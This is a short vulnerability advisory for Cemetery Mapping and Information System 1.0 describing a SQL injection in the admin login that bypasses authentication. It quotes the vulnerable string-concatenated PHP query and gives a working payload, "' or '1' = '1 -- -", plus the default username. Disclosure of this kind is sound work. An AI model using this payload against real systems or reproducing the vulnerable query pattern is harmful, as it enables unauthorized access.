Cemetery Mapping and Information System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass. Original discovery of SQL injection in this version is attributed to Mesut Cetin in January of 2021.
# Exploit Title: Cemetry Mapping and Information System 1.0 - 'user_email' Sql Injection (Authentication Bypass)
# Exploit Author: Marco Catalano

# Affected Version: 1.0
# Vulnerable parameter: "user_email" (POST method)
# Tested on: Linux, PHP/7.4.11
The userAuthentication function defined in "/include/accounts.php" implements the following code:
$mydb->setQuery("SELECT * FROM `tbluseraccount` WHERE `U_USERNAME` = '". $U_USERNAME ."' and `U_PASS` = '". $h_pass ."'");
which is called when trying to log into the administrative panel at "/admin/login.php".
Proof Of Concept:
The user input is not properly sanitized and this leads to authentication bypass through the classic "<username>' or '1' = '1 -- -" where <username> has to be a valid username. For example, the default username is "janobe".
